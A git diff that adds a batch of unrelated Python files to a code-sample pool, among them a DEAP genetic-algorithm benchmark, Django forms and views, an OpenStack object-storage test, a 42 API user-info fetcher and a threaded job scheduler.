+sample_list.append(o6)
+sample_list.append(o7)
+sample_list.append(o8)
+sample_list.append(o9)
+sample_list.append(o10)
+sample_list.append(o11)
+sample_list.append(o12)
+sample_list.append(o13)
+sample_list.append(o14)
+sample_list.append(o15)
+sample_list.append(o16)
+sample_list.append(o17)
+sample_list.append(o18)
+# OrderConsistsOf
+# sample_list.append(oco1)
+# sample_list.append(oco2)
+# sample_list.append(oco3)
+# sample_list.append(oco4)
+# sample_list.append(oco5)
+# sample_list.append(oco6)
+# sample_list.append(oco7)
+# sample_list.append(oco8)
+# sample_list.append(oco9)
+# sample_list.append(oco10)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008255_file_reader.py b/pool/shard000/Python/0008255_file_reader.py
new file mode 100644
index 0000000000000000000000000000000000000000..65fbf5afed7af3e3ca650a95fd804022faf9092e
--- /dev/null
+++ b/pool/shard000/Python/0008255_file_reader.py
@@ -0,0 +1,47 @@
+"""This module's scope covers abstractions related to file format readers.
+"""
+__version__ = "0.1.1"
+__changelog = {
+    "0.1.1": {"Tuna": "0.16.5", "Change": "PEP8 and PEP257 compliance."},
+    "0.1.0": {"Tuna": "0.13.0", "Change": "improved documentation."}
+}
+
+import logging
+import sys
+
+class FileReader(object):
+    """This class is responsible for abstracting common features of the file 
+    readers in a single code artifact.
+
+    It is not meant to be user-serviceable.
+    """
+    def __init__(self, *args, **kwargs):
+        super(FileReader, self).__init__(*args, **kwargs)
+        self.log = logging.getLogger(__name__)
+
+        self._image_ndarray = None
+        self._is_readable = False
+
+    def get_image_ndarray(self):
+        """Return the array containing the image data.
+
+        Returns:
+
+        * self._image_ndarray : numpy.ndarray : defaults to None
+            Contains the current data for this reader. This should be set by 
+            derived classes.
+        """
+        self.log.debug("%s %s" % (sys._getframe().f_code.co_name,
+                                  sys._getframe().f_code.co_varnames))
+
+        return self._image_ndarray
+
+    def is_readable(self):
+        """Check if the input file is readable.
+
+        Returns:
+
+        * self._is_readable : bool : defaults to False
+            True if the file is readable; should be set by derived classes.
+        """
+        return self._is_readable
diff --git a/pool/shard000/Python/0008256_dicti.py b/pool/shard000/Python/0008256_dicti.py
new file mode 100644
index 0000000000000000000000000000000000000000..ef656ec158f87d3f4db955005bef74603af8ff95
--- /dev/null
+++ b/pool/shard000/Python/0008256_dicti.py
@@ -0,0 +1,20 @@
+de2nl = {"eins" : "een", "zwei" : "twee", "drei" : "drie", "vier" : "vier", "fünf" : "vijf", "sechs" : "zes"}
+print(de2nl)
+
+for key in de2nl:
+    print(key, de2nl[key])
+    
+print(len(de2nl))
+
+ziffern = de2nl.values()
+print("zes" in ziffern)
+
+t = de2nl.items()
+print(t)
+
+s = de2nl.keys()
+print(s)
+
+for key in de2nl.keys():
+    print(key)
+    
diff --git a/pool/shard000/Python/0008257_get_user_info.py b/pool/shard000/Python/0008257_get_user_info.py
new file mode 100644
index 0000000000000000000000000000000000000000..42873d4712afb946f821aea77c9f37dea59b1c94
--- /dev/null
+++ b/pool/shard000/Python/0008257_get_user_info.py
@@ -0,0 +1,59 @@
+import requests
+import json
+import urllib2
+import urllib
+import pandas as pd
+from threading import Thread
+
+if __name__ == '__main__':
+	with open('appcreds.txt', 'r') as credfile:
+		uid, secret = credfile.read().splitlines()
+
+	r = requests.post("https://api.intra.42.fr/oauth/token", data={'grant_type': 'client_credentials', 'client_id': uid, 'client_secret': secret})
+	r.raise_for_status()
+	access_token = json.loads(r.text)['access_token']
+	print(access_token)
+	df = pd.read_csv('users_url.csv')
+	people = []
+	
+	#Threding function to append users info to output list 'people'
+	def recrod_info(user_url):
+			
+		#python3 implementation
+		#f = urllib.request.urlopen(user_url+('?access_token=%s' % (access_token)))
+		
+		#python2 implementation
+		f = urllib2.urlopen(user_url+('?access_token=%s' % (access_token)))
+		
+		people.append(json.loads(f.read()))
+
+	
+	#Multi-thread recording with external loop reducing number of threads to not overflood API with requests
+	req_slower = 20
+	length = len(df)
+	for count in range(req_slower):
+		threads = []
+		print("Recording: %d%%" % int(count * 100 / req_slower))
+		
+		#Multi-threading to speed-up user info gathering from API
+		for i in range((length * count) // req_slower, (length * (count + 1)) // req_slower):
+			count += 1
+			process = Thread(target=recrod_info, args=[df['url'][i]])
+			process.start()
+			threads.append(process)
+
+		#Join is improtant before starting another process threading batch or world will go topsy turvy	
+		for process in threads:
+			process.join()
+	print("Recording completed")
+
+	#output as json
+	with open('users_info.txt', 'w') as outfile:
+		json.dump(people, outfile)
+	
+	#output as DataFrame
+	#df = pd.DataFrame(pd.read_json(json.dumps(people)))
+	#df.to_csv('users_info.csv')
+	
+	#print(pd.read_csv('users_info.csv'))
+
diff --git a/pool/shard000/Python/0008267_benchmarks-gamodelF1.py b/pool/shard000/Python/0008267_benchmarks-gamodelF1.py
new file mode 100644
index 0000000000000000000000000000000000000000..83c7f7951e52c75e65b1b694cd14f23e3c8a65c7
--- /dev/null
+++ b/pool/shard000/Python/0008267_benchmarks-gamodelF1.py
@@ -0,0 +1,232 @@
+#!/usr/bin/python
+#    This file is part of DEAP.
+#
+#    DEAP is free software: you can redistribute it and/or modify
+#    it under the terms of the GNU Lesser General Public License as
+#    published by the Free Software Foundation, either version 3 of
+#    the License, or (at your option) any later version.
+#
+#    DEAP is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+#    GNU Lesser General Public License for more details.
+#
+#    You should have received a copy of the GNU Lesser General Public
+#    License along with DEAP. If not, see <http://www.gnu.org/licenses/>.
+import sys
+import array
+import random
+from deap import base
+from deap import creator
+from deap import tools
+import fgeneric
+import numpy as np
+from operator import attrgetter
+
+import bbobbenchmarks as bn
+
+toolbox = base.Toolbox()
+creator.create("FitnessMin", base.Fitness, weights=(-1.0,))
+creator.create("Individual", array.array, typecode="d",
+               fitness=creator.FitnessMin)
+# pool = multiprocessing.Pool()
+# toolbox.register("map", futures.map)
+
+
+def tupleize(func):
+    """A decorator that tuple-ize the result of a function. This is useful
+    when the evaluation function returns a single value.
+    """
+    def wrapper(*args, **kargs):
+        return func(*args, **kargs),
+    return wrapper
+
+
+def main(func,
+         NGEN,
+         CXPB,
+         MUTPB,
+         dim,
+         ftarget,
+         tournsize,
+         n_aval,
+         ):
+    toolbox.register("attr_float", random.random)
+    toolbox.register("select", tools.selTournament, tournsize=tournsize)
+    toolbox.register(
+        "mutate",
+        tools.mutGaussian,
+        mu=0,
+        sigma=1,
+        indpb=0.1
+    )
+    # mutShuffleIndexes
+    stats = tools.Statistics(key=lambda ind: ind.fitness.values)
+    stats.register("avg", np.mean)
+    stats.register("std", np.std)
+    stats.register("min", np.min)
+    stats.register("max", np.max)
+    # calculating the number of individuals of the
+    # populations based on the number of executions
+    y = int(n_aval / NGEN)
+    x = n_aval - y * NGEN
+    n = x + y
+
+    toolbox.register("evaluate", func)
+    toolbox.decorate("evaluate", tupleize)
+    toolbox.register("attr_float", random.uniform, -4, 4)
+    toolbox.register("mate", tools.cxSimulatedBinaryBounded, eta = 0, low= -4, up = 4)
+    toolbox.register("individual", tools.initRepeat, creator.Individual,
+                     toolbox.attr_float, dim)
+    toolbox.register("population", tools.initRepeat, list, toolbox.individual)
+
+    logbook = tools.Logbook()
+    logbook.header = "gen", "min", "avg", "max", "std"
+    pop = toolbox.population(n)
+    # get initial pop
+    filename = ("../pseudo-adaptative/init_pop_f" +
+                str(f_name) +
+                "_dim_" +
+                str(dim) +
+                "_tournsize_2.txt")
+    if((np.DataSource().exists(filename)) is True):
+        with open(filename, 'r') as f:
+            a = eval(f.readline())
+        f.close()
+        for index in range(len(pop[0])):
+            pop[0][index] = a[index]
+    # Evaluate the entire population
+    # 2 model.bins: real data, generated model
+    fitnesses = list(toolbox.map(toolbox.evaluate, pop))
+    # numero_avaliacoes = len(pop)
+    # normalize fitnesses
+    # fitnesses = normalizeFitness(fitnesses)
+    for ind, fit in zip(pop, fitnesses):
+        ind.fitness.values = fit
+
+    for g in range(NGEN):
+        # Select the next generation individuals
+        offspring = toolbox.select(pop, len(pop))
+        # create offspring
+        offspring = list(toolbox.map(toolbox.clone, pop))
+        # Apply crossover and mutation on the offspring
+        for child1, child2 in zip(offspring[::2], offspring[1::2]):
+            if random.random() < CXPB:
+                toolbox.mate(child1, child2)
+                del child1.fitness.values
+                del child2.fitness.values
+        for mutant in offspring:
+            if random.random() < MUTPB:
+                toolbox.mutate(mutant)
+                del mutant.fitness.values
+        # Evaluate the individuals with an invalid fitness
+        invalid_ind = [ind for ind in offspring if not ind.fitness.valid]
+        fitnesses = list(toolbox.map(toolbox.evaluate, invalid_ind))
+        for ind, fit in zip(invalid_ind, fitnesses):
+            ind.fitness.values = fit
+        # The population is entirely replaced by the offspring,
+        # but the last ind replaced by best_pop
+        # Elitism
+        best_pop = tools.selBest(pop, 1)[0]
+        offspring = sorted(offspring, key=attrgetter("fitness"))
+        offspring[0] = best_pop
+        random.shuffle(offspring)
+        pop[:] = offspring
+        record = stats.compile(pop)
+        logbook.record(gen=g, **record)
+        if record["std"] < 10e-12:
+            best_pop = tools.selBest(pop, 1)[0]
+            pop = toolbox.population(n)
+            pop = sorted(pop, key=attrgetter("fitness"))
+            pop[0] = best_pop
+            fitnesses = list(toolbox.map(toolbox.evaluate, pop))
+            for ind, fit in zip(pop, fitnesses):
+                ind.fitness.values = fit
+            g += 1
+            record = stats.compile(pop)
+            logbook.record(gen=g, **record)
+    filename = ("../SBX/init_pop_f" +
+                str(f_name) +
+                "_dim_" +
+                str(dim) +
+                "_tournsize_2.txt")
+    if((np.DataSource().exists(filename)) is False):
+        with open(filename, "w") as myfile:
+            for element in best_pop:
+                myfile.write(str(element))
+                myfile.write(str(', '))
+            myfile.write(str('\n'))
+        myfile.close()
+    return logbook
+
+
+if __name__ == "__main__":
+    for i in range(len(sys.argv) - 1):
+        if (sys.argv[i] == '-params'):
+            gaParams = sys.argv[i + 1]
+        elif (sys.argv[i] == '-tournsize'):
+            tournsize = int(sys.argv[i + 1])
+            
+    f = open(gaParams, "r")
+    keys = ['key', 'NGEN', 'n_aval', 'CXPB', 'MUTPB', 'dim', 'seed', 'tournsize']
+
+    params = dict()
+    for line in f:
+        if line[0] == '#':
+            continue
+        tokens = line.split()
+        for key, value in zip(keys, tokens):
+            if key == 'key':
+                params[key] = value
+            elif key == 'CXPB' or key == 'MUTPB':
+                params[key] = float(value)
+            else:
+                params[key] = int(value)
+    f.close()
+    # Maximum number of restart for an algorithm that detects stagnation
+
+    # Create a COCO experiment that will log the results under the
+    # ./output directory
+    e = fgeneric.LoggingFunction('output')
+
+    # Iterate over all desired test dimensions
+    # for dim in (2, 3, 5, 10, 20, 40):
+    dim = params['dim']
+    # Set the maximum number function evaluation granted to the algorithm
+    # This is usually function of the dimensionality of the problem
+
+    # Iterate over a set of benchmarks (noise free benchmarks here)
+    # for f_name in bn.nfreeIDs:
+    f_name = 1
+    # Iterate over all the instance of a single problem
+    # Rotation, translation, etc.
+    # for instance in chain(range(1, 6), range(21, 31)):
+    instance = 1
+    # Set the function to be used (problem) in the logger
+    e.setfun(*bn.instantiate(f_name, iinstance=1))
+
+    # Independent restarts until maxfunevals or ftarget is reached
+    # Run the algorithm with the remaining
+    # number of evaluations
+    # random.seed(params['seed'])
+    logbook = main(e.evalfun,
+                   NGEN=params['NGEN'],
+                   CXPB=params['CXPB'],
+                   MUTPB=params['MUTPB'],
+                   dim=dim,
+                   n_aval=params['n_aval'],
+                   tournsize=tournsize,
+                   ftarget=e.ftarget)
+
+    filename = ("../SBX/f" +
+                str(f_name) +
+                "_dim_" +
+                str(dim) +
+                "_tournsize_" +
+                str(tournsize) +
+                ".txt")
+
+    with open(filename, "a") as myfile:
+        myfile.write(str(logbook))
+        myfile.write(str('\n'))
+    myfile.close()
\ No newline at end of file
diff --git a/pool/shard000/Python/0008279_forms.py b/pool/shard000/Python/0008279_forms.py
new file mode 100644
index 0000000000000000000000000000000000000000..b5555e50cfafc56ec82335a24f15f336744591bb
--- /dev/null
+++ b/pool/shard000/Python/0008279_forms.py
@@ -0,0 +1,84 @@
+'''
+See https://docs.djangoproject.com/en/dev/topics/forms/ for details.
+'''
+
+from django import forms
+from graphs.util import db
+
+class LoginForm(forms.Form):
+	'''
+		Login Form used to show login fields in GraphSpace webpages. 
+		This form is located within the top navbar.
+	'''
+
+	# attrs to specify extra html attributes
+	user_id = forms.CharField(max_length=100, required=False, widget=forms.TextInput(attrs={'placeholder': 'Email', 'class': 'form-control', 'size': '13', 'id': 'email'}))
+	pw = forms.CharField(required=False, widget=forms.PasswordInput(attrs={'placeholder': 'Password', 'class': 'form-control', 'size': '13', 'id': 'pw'}))
+
+class SearchForm(forms.Form):
+	'''
+		Search form used to perform search on GraphSpace
+	'''
+
+	def __init__(self, *args, **kwargs):
+		'''
+			Initialize the form. A keyword argument 'placeholder' may be 
+			given.
+
+			This can be customized to specify additional parameters if it 
+			needs to. 
+		'''
+		if 'placeholder' in kwargs:
+			self.placeholder = kwargs.pop('placeholder')
+			# must be called after 'placeholder' is popped from kwargs
+			super(SearchForm, self).__init__(*args, **kwargs)
+			self.fields['search'].widget = forms.TextInput(attrs={'placeholder': self.placeholder, 'class': 'form-control', 'type': 'text', 'name': 'search'})
+		else:
+			super(SearchForm, self).__init__(*args, **kwargs)
+			self.fields['search'].widget = forms.TextInput(attrs={'class': 'form-control', 'type': 'text', 'name': 'search'})
+	
+	search = forms.CharField(required=False, label='', max_length=100)
+
+class RegisterForm(forms.Form):
+	'''
+		Register form to help create an account for a new user.
+	'''
+
+	user_id = forms.CharField(required=False, label='Email', max_length=100,
+				widget=forms.TextInput(attrs={'class': 'form-control', 'type': 'text', 'size': '25', 'id': 'user_id'}))
+	password = forms.CharField(required=False, label='Password', widget=forms.PasswordInput(attrs={'class': 'form-control', 'size': '25', 'id': 'password'}))
+	verify_password = forms.CharField(required=False, label='Verify Password', widget=forms.PasswordInput(attrs={'class': 'form-control', 'size': '25', 'id': 'verify_password'}))
+
+	def clean_user_id(self):
+		'''
+			Form validation to check if the user id already exist
+			in the database.
+
+			https://docs.djangoproject.com/en/1.6/ref/forms/validation/#cleaning-a-specific-field-attribute
+		'''
+		cleaned_data = super(RegisterForm, self).clean()
+		user_id = cleaned_data["user_id"]
+
+		check_user = db.emailExists(user_id)
+
+		if check_user == None:
+			return user_id
+		else:
+			return None
+
+	def clean(self):
+		'''
+			Form validation to check if two passwords provided are 
+			equivalent.
+
+			https://docs.djangoproject.com/en/1.6/ref/forms/validation/#cleaning-a-specific-field-attribute
+		'''
+		cleaned_data = super(RegisterForm, self).clean()
+		pw = cleaned_data.get("password")
+		vpw = cleaned_data.get("verify_password")
+
+		if pw and vpw:
+			if pw != vpw:
+				raise forms.ValidationError("Passwords do not match.")
+
+		return cleaned_data
\ No newline at end of file
diff --git a/pool/shard000/Python/0008282_Receiver.py b/pool/shard000/Python/0008282_Receiver.py
new file mode 100644
index 0000000000000000000000000000000000000000..20e967a5512dbaf7317a232f765bc33d00bdcbb4
--- /dev/null
+++ b/pool/shard000/Python/0008282_Receiver.py
@@ -0,0 +1,45 @@
+import numpy as np
+
+from View import View
+
+class Receiver(object):
+
+    def __init__(self, space, origin, cube_dimension, material):
+        self._origin = np.copy(origin)
+        self._space = space
+        self._views = []
+        self._material = material
+
+        polygons = space.cube(self._origin, cube_dimension, material, True)
+        for p in polygons:
+            self._views.append(View(self._origin, p))
+
+    def search(self, show_projections=False):
+        sources = []
+
+        for it in range(0,5):
+            resolved = []
+
+            while len(self._views) > 0:
+                v = self._views.pop(0)
+                resolved += v.search(self._space.polygons)
+
+            while len(resolved) > 0:
+                v = resolved.pop(0)
+
+                material = v.region.target.material
+
+                if material.is_source():
+                    if show_projections:
+                        v.show_history(self._space)
+                    sources.append(v.copy())
+
+                if material.is_refractive():
+                    tv, rv = v.refract_view()
+                    #self._space.cube(rv.region.origin, 0.1, self._material, True)
+                    self._views.append(tv) # through-view
+                    self._views.append(rv) # refracted view
+                elif material.is_reflective():
+                    self._views.append(v.reflect_view())
+
+            print("Sources total: " + str(len(sources)))
diff --git a/pool/shard000/Python/0008292_res_config.py b/pool/shard000/Python/0008292_res_config.py
new file mode 100644
index 0000000000000000000000000000000000000000..d4e21bb4f47aad7459d48d3ea2f427cc36f9b175
--- /dev/null
+++ b/pool/shard000/Python/0008292_res_config.py
@@ -0,0 +1,54 @@
+# -*- coding: utf-8 -*-
+##############################################################################
+#
+#    Copyright (C) 2016 Pambudi Satria (<https://github.com/pambudisatria>).
+#    @author Pambudi Satria <pambudi.satria@yahoo.com>
+#
+#    This program is free software: you can redistribute it and/or modify
+#    it under the terms of the GNU Affero General Public License as
+#    published by the Free Software Foundation, either version 3 of the
+#    License, or (at your option) any later version.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU Affero General Public License for more details.
+#
+#    You should have received a copy of the GNU Affero General Public License
+#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+##############################################################################
+
+from openerp import models, fields, api
+
+class SaleConfigSettings(models.TransientModel):
+    _inherit = 'sale.config.settings'
+
+    interval_cust_churn_number = fields.Integer(string='Interval Churn Number', default=14)
+    interval_cust_churn_type = fields.Selection(selection=[
+        ('days', 'Day(s)'),
+        ('weeks', 'Week(s)'),
+        ('months', 'Month(s)'),
+        ], string='Interval Churn Type', default='days', required=True)
+
+    @api.model
+    def get_default_interval_cust_churn_values(self, fields):
+        company = self.env.user.company_id
+        return {
+            'interval_cust_churn_number': company.interval_cust_churn_number,
+            'interval_cust_churn_type': company.interval_cust_churn_type,
+        }
+
+    @api.one
+    def set_interval_cust_churn_values(self):
+        company = self.env.user.company_id
+        company.interval_cust_churn_number = self.interval_cust_churn_number
+        company.interval_cust_churn_type = self.interval_cust_churn_type
+
+    @api.onchange('interval_cust_churn_number')
+    def onchange_interval_cust_churn_number(self):
+        if self.interval_cust_churn_number <= 0:
+            self.interval_cust_churn_number = 14
+            self.interval_cust_churn_type = 'days'
+
+# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
diff --git a/pool/shard000/Python/0008295_edt_envoyer.py b/pool/shard000/Python/0008295_edt_envoyer.py
new file mode 100644
index 0000000000000000000000000000000000000000..395907075056c9e06121f0f336e7a842057d159f
--- /dev/null
+++ b/pool/shard000/Python/0008295_edt_envoyer.py
@@ -0,0 +1,54 @@
+# -*-coding:Utf-8 -*
+
+# Copyright (c) 2010-2017 LE GOFF Vincent
+# All rights reserved.
+# 
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+# 
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+# * Neither the name of the copyright holder nor the names of its contributors
+#   may be used to endorse or promote products derived from this software
+#   without specific prior written permission.
+# 
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
+# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+# POSSIBILITY OF SUCH DAMAGE.
+
+
+"""Fichier contenant le contexte éditeur EdtEnvoyer."""
+
+from primaires.format.fonctions import format_nb
+from primaires.interpreteur.editeur import Editeur
+
+class EdtEnvoyer(Editeur):
+    
+    """Classe définissant le contexte éditeur 'envoyer'.
+    
+    Ce contexte permet d'envoyer une news letter.
+    
+    """
+    
+    def __init__(self, pere, objet=None, attribut=None):
+        """Constructeur de l'éditeur"""
+        Editeur.__init__(self, pere, objet, attribut)
+    
+    def entrer(self):
+        newsletter = self.objet
+        nb_envoi = newsletter.envoyer()
+        msg = format_nb(nb_envoi, "{nb} messages envoyés.")
+        msg = msg.capitalize()
+        self.fermer()
+        self.pere << "|att|{}|ff|".format(msg)
diff --git a/pool/shard000/Python/0008297_views.py b/pool/shard000/Python/0008297_views.py
new file mode 100644
index 0000000000000000000000000000000000000000..7f1b41e8886c16c72e6239a33bdb42647f67726d
--- /dev/null
+++ b/pool/shard000/Python/0008297_views.py
@@ -0,0 +1,32 @@
+from django.shortcuts import render
+from django.http import HttpResponse
+
+from django.template import RequestContext
+from django.shortcuts import render_to_response
+
+# Create your views here.
+def index(request):
+    context = RequestContext(request)
+    context_dict = {}
+
+    return render_to_response('index.html', context_dict, context)
+def claim(request):
+    context = RequestContext(request)
+    context_dict = {}
+
+    return render_to_response('claim.html', context_dict, context)
+def action(request):
+    context = RequestContext(request)
+    context_dict = {}
+
+    return render_to_response('action.html', context_dict, context)
+def alias(request):
+    context = RequestContext(request)
+    context_dict = {}
+
+    return render_to_response('alias.html', context_dict, context)
+def people(request):
+    context = RequestContext(request)
+    context_dict = {}
+
+    return render_to_response('people.html', context_dict, context)
diff --git a/pool/shard000/Python/0008298_test_object_slo.py b/pool/shard000/Python/0008298_test_object_slo.py
new file mode 100644
index 0000000000000000000000000000000000000000..afec1ef9cd7b278dd52a62d59bf4e4cac08ceb18
--- /dev/null
+++ b/pool/shard000/Python/0008298_test_object_slo.py
@@ -0,0 +1,189 @@
+# Copyright 2013 NTT Corporation
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+import hashlib
+import json
+
+from tempest_lib.common.utils import data_utils
+from tempest_lib import exceptions as lib_exc
+
+from tempest.api.object_storage import base
+from tempest.common import custom_matchers
+from tempest import test
+from tempest_lib import decorators
+
+# Each segment, except for the final one, must be at least 1 megabyte
+MIN_SEGMENT_SIZE = 1024 * 1024
+
+
+class ObjectSloTest(base.BaseObjectTest):
+
+    def setUp(self):
+        super(ObjectSloTest, self).setUp()
+        self.container_name = data_utils.rand_name(name='TestContainer')
+        self.container_client.create_container(self.container_name)
+        self.objects = []
+
+    def tearDown(self):
+        for obj in self.objects:
+            try:
+                self.object_client.delete_object(
+                    self.container_name,
+                    obj)
+            except lib_exc.NotFound:
+                pass
+        self.container_client.delete_container(self.container_name)
+        super(ObjectSloTest, self).tearDown()
+
+    def _create_object(self, container_name, object_name, data, params=None):
+        resp, _ = self.object_client.create_object(container_name,
+                                                   object_name,
+                                                   data,
+                                                   params)
+        self.objects.append(object_name)
+
+        return resp
+
+    def _create_manifest(self):
+        # Create a manifest file for SLO uploading
+        object_name = data_utils.rand_name(name='TestObject')
+        object_name_base_1 = object_name + '_01'
+        object_name_base_2 = object_name + '_02'
+        data_size = MIN_SEGMENT_SIZE
+        self.content = data_utils.arbitrary_string(data_size)
+        self._create_object(self.container_name,
+                            object_name_base_1,
+                            self.content)
+        self._create_object(self.container_name,
+                            object_name_base_2,
+                            self.content)
+
+        path_object_1 = '/%s/%s' % (self.container_name,
+                                    object_name_base_1)
+        path_object_2 = '/%s/%s' % (self.container_name,
+                                    object_name_base_2)
+        data_manifest = [{'path': path_object_1,
+                          'etag': hashlib.md5(self.content).hexdigest(),
+                          'size_bytes': data_size},
+                         {'path': path_object_2,
+                          'etag': hashlib.md5(self.content).hexdigest(),
+                          'size_bytes': data_size}]
+
+        return json.dumps(data_manifest)
+
+    def _create_large_object(self):
+        # Create a large object for preparation of testing various SLO
+        # features
+        manifest = self._create_manifest()
+
+        params = {'multipart-manifest': 'put'}
+        object_name = data_utils.rand_name(name='TestObject')
+        self._create_object(self.container_name,
+                            object_name,
+                            manifest,
+                            params)
+        return object_name
+
+    def _assertHeadersSLO(self, resp, method):
+        # When sending GET or HEAD requests to SLO the response contains
+        # 'X-Static-Large-Object' header
+        if method in ('GET', 'HEAD'):
+            self.assertIn('x-static-large-object', resp)
+            self.assertEqual(resp['x-static-large-object'], 'True')
+
+        # Etag value of a large object is enclosed in double-quotations.
+        # After etag quotes are checked they are removed and the response is
+        # checked if all common headers are present and well formatted
+        self.assertTrue(resp['etag'].startswith('\"'))
+        self.assertTrue(resp['etag'].endswith('\"'))
+        resp['etag'] = resp['etag'].strip('"')
+        self.assertHeaders(resp, 'Object', method)
+
+    @decorators.skip_because(bug="1417497")
+    @test.attr(type='gate')
+    @test.idempotent_id('2c3f24a6-36e8-4711-9aa2-800ee1fc7b5b')
+    @test.requires_ext(extension='slo', service='object')
+    def test_upload_manifest(self):
+        # create static large object from multipart manifest
+        manifest = self._create_manifest()
+
+        params = {'multipart-manifest': 'put'}
+        object_name = data_utils.rand_name(name='TestObject')
+        resp = self._create_object(self.container_name,
+                                   object_name,
+                                   manifest,
+                                   params)
+
+        self._assertHeadersSLO(resp, 'PUT')
+
+    @decorators.skip_because(bug="1417497")
+    @test.attr(type='gate')
+    @test.idempotent_id('e69ad766-e1aa-44a2-bdd2-bf62c09c1456')
+    @test.requires_ext(extension='slo', service='object')
+    def test_list_large_object_metadata(self):
+        # list static large object metadata using multipart manifest
+        object_name = self._create_large_object()
+
+        resp, body = self.object_client.list_object_metadata(
+            self.container_name,
+            object_name)
+
+        self._assertHeadersSLO(resp, 'HEAD')
+
+    @decorators.skip_because(bug="1417497")
+    @test.attr(type='gate')
+    @test.idempotent_id('49bc49bc-dd1b-4c0f-904e-d9f10b830ee8')
+    @test.requires_ext(extension='slo', service='object')
+    def test_retrieve_large_object(self):
+        # list static large object using multipart manifest
+        object_name = self._create_large_object()
+
+        resp, body = self.object_client.get_object(
+            self.container_name,
+            object_name)
+
+        self._assertHeadersSLO(resp, 'GET')
+
+        sum_data = self.content + self.content
+        self.assertEqual(body, sum_data)
+
+    @decorators.skip_because(bug="1417497")
+    @test.attr(type='gate')
+    @test.idempotent_id('87b6dfa1-abe9-404d-8bf0-6c3751e6aa77')
+    @test.requires_ext(extension='slo', service='object')
+    def test_delete_large_object(self):
+        # delete static large object using multipart manifest
+        object_name = self._create_large_object()
+
+        params_del = {'multipart-manifest': 'delete'}
+        resp, body = self.object_client.delete_object(
+            self.container_name,
+            object_name,
+            params=params_del)
+
+        # When deleting SLO using multipart manifest, the response contains
+        # not 'content-length' but 'transfer-encoding' header. This is the
+        # special case, therefore the existence of response headers is checked
+        # outside of custom matcher.
+        self.assertIn('transfer-encoding', resp)
+        self.assertIn('content-type', resp)
+        self.assertIn('x-trans-id', resp)
+        self.assertIn('date', resp)
+
+        # Check only the format of common headers with custom matcher
+        self.assertThat(resp, custom_matchers.AreAllWellFormatted())
+
+        resp, body = self.container_client.list_container_contents(
+            self.container_name)
+        self.assertEqual(int(resp['x-container-object-count']), 0)
diff --git a/pool/shard000/Python/0008301_threaded_scheduler.py b/pool/shard000/Python/0008301_threaded_scheduler.py
new file mode 100644
index 0000000000000000000000000000000000000000..921c088ee8a30e9fff434966ea8216d50b7b5b22
--- /dev/null
+++ b/pool/shard000/Python/0008301_threaded_scheduler.py
@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+'''
+For jobs that take longer to run it is not recommended to run them
+'''
+
+import datetime
+import threading
+import time
+import schedule
+import queue
+
+
+def check_password_policy(**kwargs):
+    startTime = datetime.datetime.now()
+    print("[%s] passwd policy check  %s" % (startTime, threading.current_thread()))
+    time.sleep(3)
+    endTime = datetime.datetime.now()
+    diff = endTime - startTime
+    print("check password policy took: %d" % (diff.total_seconds()))
+
+
+def check_iam_roles(**kwargs):
+    curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+    print("[%s] IAM roles check %s" % (curTime, threading.current_thread()))
+    for x in range(10000):
+        pass
+    time.sleep(7)
+    curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+    print("[%s] IAM roles check complete %s" % (curTime, threading.current_thread()))
+
+
+def check_trustedadvisor_limits(**kwargs):
+    curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+    print("[%s] Checking TA limits %s" % (curTime, threading.current_thread()))
+    time.sleep(20)
+    curTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+    print("[%s] Checking TA limits complete %s" % (curTime, threading.current_thread()))
+
+def wrapper_function(jobFunction, **kwargs):
+    startTime = datetime.datetime.now()
+    print("Wrapper start")
+    jobFunction(**kwargs)
+    print("Wrapper end")
+    endTime = datetime.datetime.now()
+    elapsedSeconds = (endTime - startTime).total_seconds()
+    print("Thread %s elapsed time: %d" % (jobFunction, elapsedSeconds))
+
+
+def run_threaded(job_func, **options):
+    print("Run threaded --> start")
+    job_thread = threading.Thread(target=wrapper_function, args=[job_func], kwargs=options)
+    job_thread.start()
+    print("Run threaded --> End")
+
+
